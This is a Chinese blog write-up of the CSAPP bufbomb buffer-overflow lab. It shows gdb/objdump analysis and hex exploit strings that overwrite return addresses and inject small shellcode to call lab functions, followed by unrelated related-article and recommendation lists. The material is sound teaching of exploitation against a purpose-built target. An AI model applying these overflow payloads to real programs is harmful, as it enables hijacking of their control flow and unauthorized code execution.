CSAPP:逆向工程【缓冲区溢出攻击】
转载请注明出处:https://www.cnblogs.com/ustca/p/11735120.html
逆向工程【缓冲区溢出攻击】拓展:二进制炸弹反汇编
任务描述
掌握函数调用时的栈帧结构,利用输入缓冲区的溢出漏洞,将攻击代码嵌入当前程序的栈帧中,使程序执行我们所期望的过程。
主要方法
溢出的字符将覆盖栈帧上的数据,会覆盖程序调用的返回地址,这赋予了我们控制程序流程的能力。通过构造溢出字符串,程序将“返回”至我们想要的代码上。

实验包括三个可执行文件:
---| bufbomb为目标程序
---| makecookie可以生成bufbomb需要的输入参数的cookie(也可以在gdb调试时直接读取寄存器获得)
---| sendstring可以将ASCII码转成字符(实验用到了拓展ASCII码)
程序运行时栈帧结构

Level0:Somke
getbuf函数在test中被调用,当getbuf返回时继续执行第八行:
void test()
{
int val;
volatile int local = 0xdeadbeef;
entry_check(3); /* Make sure entered this function properly */
val = getbuf();
/* Check for corrupted stack */
if (local != 0xdeadbeef) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
......
}
}
Bufbomb中一个正常情况下不会被执行的函数:
void smoke()
{
entry_check(0); /* Make sure entered this function properly */
printf("Smoke!: You called smoke()\n");
validate(0);
exit(0);
}
攻击目标
在getbuf返回时跳到smoke函数执行。
思路
1、通过gdb调试得到我们输入的字符串首地址p/x $ebp-0xc
2、找到函数smoke的地址p/x &smoke
3、用smoke函数的地址覆盖getbuf的返回地址
操作
首先对可执行程序进行反汇编objdump -d bufbomb > bufbomb.s


反汇编得到的汇编码中,找到getbuf的代码段,可以看到缓冲区首地址为-0xc(%ebp),%eax
打开gdb调试,在Gets函数执行前设置断点b *0x8048fec
运行程序,输入测试字符:

得到缓冲区首地址为0xffffb16c

得到smoke函数入口地址0x8048e20
接下来只需要构造攻击字符串,使得字符串溢出部分覆盖返回地址,达到“返回”到smoke函数的目的。
根据程序运行时的栈帧结构,可以得到返回地址存储在ebp寄存器的后4字节,输入缓冲区大小为0xc+4,最终得到攻击字符串长度应该为0xc+4+4=20字节。
只要输入字符串的最后4字节为smoke函数入口地址即可跳转,前16字节数据可以为任意值,小端模式下攻击字符串如下:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 8e 04 08
将字符串保存到exploit1.txt文件中,使用./sendstring <exploit1.txt> exploit1_raw.txt将ASCII码转为实际字符。
执行程序测试运行结果./bufbomb -t USTCSA < exploit1_raw.txt

Level1:Fizz
另一函数
void fizz(int val)
{
entry_check(1); /* Make sure entered this function properly */
if (val == cookie) {
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
} else
printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}
攻击目标
“返回”到该函数并传送参数cookie
操作
原理与smoke相同,观察栈帧结构可以发现只需要在smoke攻击字串后面再继续覆盖调用栈帧的参数。

fizz入口地址为0x8048dc0.
与smoke相同,ebp+4为栈帧返回地址。
执行完ret指令后栈顶指针 %esp 会自动增加4以还原栈帧。
在fizz汇编代码段,cmp指令是将存放cookie的变量与%ebp+0x8处的值相比,此时参数地址也就是旧的ebp+4+8。
cookie值通过./makecookie USTCSA获得。
通过以上分析可以得到,fizz攻击的字符串与smoke相比,只需要将ebp之上4个字节的地址覆盖,然后再往上8字节填入cookie参数。
除了fizz的入口地址与cookie参数,其余字节都可以用任意值填充,得到一下攻击字符串。
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 8d 04 08 00 00 00 00 c1 5f d3 11
再使用sendstring获得新的攻击字符,执行程序测试运行结果

Level2:Bang
第三个函数
int global_value = 0;
void bang(int val)
{
entry_check(2); /* Make sure entered this function properly */
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else {
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}
}
攻击目标
构造若干条指令,修改全局变量global_val,然后跳转到bang函数
(需要execstack工具解除栈执行限制)
操作
与smoke和fizz不同的是,这里不在是简单的纂改返回地址。因为涉及到修改全局变量,所以需要注入我们自己的代码,然后将返回地址篡改到攻击代码处执行,最后ret到bang函数。
通过前两个实验的分析,已经得知输入缓冲区最大有16字节的空间,而我们注入的代码正好只需要16字节空间。
以下是我们想要添加执行的汇编码:
movl $0x11d35fc1, 0x804a1dc
push $0x8048d60
ret
movl指令将我们的cookie(11d35fc1)传递到0x804a1dc(cmp指令对比时的全局变量取值)
push指令将bang函数的入口地址压栈
ret指令返回我们最后压入的bang函数入口,实现跳转的效果

将我们自己写的汇编码保存,通过gcc将汇编码编译成机器码
gcc -m32 -c bang.s获得bang.o
再将机器码读取
objdump -d bang.o
bang.o: file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
0: c7 05 dc a1 04 08 c1 movl $0x11d35fc1,0x804a1dc
7: 5f d3 11
a: 68 60 8d 04 08 push $0x8048d60
f: c3 ret
c7 05 dc a1 04 08 c1
5f d3 11
68 60 8d 04 08
c3
获得我们自己想要操作的指令机器码。
只需要在这段字串后再加上缓冲区的首地址,用来覆盖原返回地址,可获得最后的攻击字符串:
c7 05 dc a1 04 08 c1 5f d3 11 68 60 8d 04 08 c3 6c b1 ff ff
使用sendstring获得新的攻击字符,执行程序测试运行结果

提示运行失败。。。。。。。。。
一直以为是自己哪里写错了,折腾了一下午
出现段错误是因为Linux系统默认开启了栈保护机制,用于阻止缓冲区溢出攻击
CSAPP:逆向工程【缓冲区溢出攻击】的更多相关文章
- CSAPP缓冲区溢出攻击实验(上)
CSAPP缓冲区溢出攻击实验(上) 下载实验工具.最新的讲义在这. 网上能找到的实验材料有些旧了,有的地方跟最新的handout对不上.只是没有关系,大体上仅仅是程序名(sendstring)或者參数 ...
- CSAPP缓冲区溢出攻击实验(下)
CSAPP缓冲区溢出攻击实验(下) 3.3 Level 2: 爆竹 实验要求 这一个Level的难度陡然提升,我们要让getbuf()返回到bang()而非test(),并且在执行bang()之前将g ...
- CSAPP阅读笔记-变长栈帧,缓冲区溢出攻击-来自第三章3.10的笔记-P192-P204
一.几个关于指针的小知识点: 1. malloc是在堆上动态分配内存,返回的是void *,使用时会配合显式/隐式类型转换,用完后需要用free手动释放. alloca是标准库函数,可以在栈上分配任 ...
- 用于阻止缓冲区溢出攻击的 Linux 内核参数与 gcc 编译选项
先来看看基于 Red Hat 与 Fedora 衍生版(例如 CentOS)系统用于阻止栈溢出攻击的内核参数,主要包含两项: kernel.exec-shield 可执行栈保护,字面含义比较“绕”, ...
- Linux下缓冲区溢出攻击的原理及对策(转载)
前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实现 ...
- Linux下缓冲区溢出攻击的原理及对策
前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈 帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实 ...
- CSAPP 缓冲区溢出试验
缓冲区溢出试验是CSAPP课后试验之一,目的是: 更好的理解什么是缓冲区溢出 如何攻击带有缓冲区溢出漏洞的程序 如何编写出更加安全的代码 了解并理解编译器和操作系统为了让程序更加安全而提供的几种特性 ...
- CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz
前言 完成这个实验大概花费一天半的时间,看了很多大佬的博客,也踩了很多的坑,于是打算写一篇博客重新梳理一下思路和过程,大概会有两篇博客吧. CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上 ...
- 【CSAPP笔记】9. 汇编语言——缓冲区溢出
x86-64 Linux 内存结构 先来看看一个程序在内存中是如何组织的.Linux 为每个进程维持了一段单独的虚拟地址空间.(进程是计算机科学中很深刻.很成功的一个概念.当我们在运行一个程序时,会得 ...
随机推荐
- Oracle SQL调优之绑定变量用法简介
目录 一.SQL执行过程简介 二.绑定变量典型用法 2.1.在SQL中绑定变量 2.2.在PL/SQL中使用绑定变量 2.3.PL/SQL批量绑定变量 2.4.Java代码里使用绑定变量 最近在看&l ...
- Day 19 磁盘管理
1.磁盘的基本概念 1.什么是磁盘 磁盘(disk)是指利用磁记录技术存储数据的存储器. 磁盘是计算机主要的存储介质,可以存储大量的二进制数据,并且断电后也能保持数据不丢失. *绝大多数人对硬盘都不陌 ...
- 24 (OC)* 加密
一 .MD5加密 MD5加密是最常用的加密方法之一,是从一段字符串中通过相应特征生成一段32位的数字字母混合码. MD5主要特点是 不可逆,相同数据的MD5值肯定一样,不同数据的MD5值不一样(也不是 ...
- JavaScript之时间对象Date
时间是物理学七大常量之一.生活中记录时间有两种方式(或者说有两种计时系统):GMT(格林尼治时间)和UTC(协调世界时间). 一 创建Date对象 JS中的Date对象只能通过new关键字创建. va ...
- PHPSTORM 2019 激活
1.获取激活码 请自行百度 2.输入激活码 3.配置本地hosts 添加配置如下 0.0.0.0 account.jetbrains.com 0.0.0.0 www.jetbrains.com
- linux下安装node.js时npm无法使用
安装node.js 10.15.1版本时,安装完在node的安装目录下执行./node -v查看node版本,成功则表示node已安装成功 [root@localhost bin]# ./node - ...
- 波士顿房价预测 - 最简单入门机器学习 - Jupyter
机器学习入门项目分享 - 波士顿房价预测 该分享源于Udacity机器学习进阶中的一个mini作业项目,用于入门非常合适,刨除了繁琐的部分,保留了最关键.基本的步骤,能够对机器学习基本流程有一个最清晰 ...
- js深度克隆对象、数组
function deepCopy(o) { if (o instanceof Array) { var n = []; for (var i = 0; i < o.length; ++i) { ...
- Centeos7搭建selenium+Chrome浏览器
博主主要是用来更新爬虫Cookie 环境安装 python3 安装selenium pip3 install selenium 安装chrome浏览器+chromedriver驱动 一.配置yum源 ...
- 在vue的mounted下使用setInterval的误区
1. vue对象的生命周期 1). 初始化显示(只执行一次) * beforeCreate() * created() * beforeMount() * mounted() 2). 更新状态(可执行 ...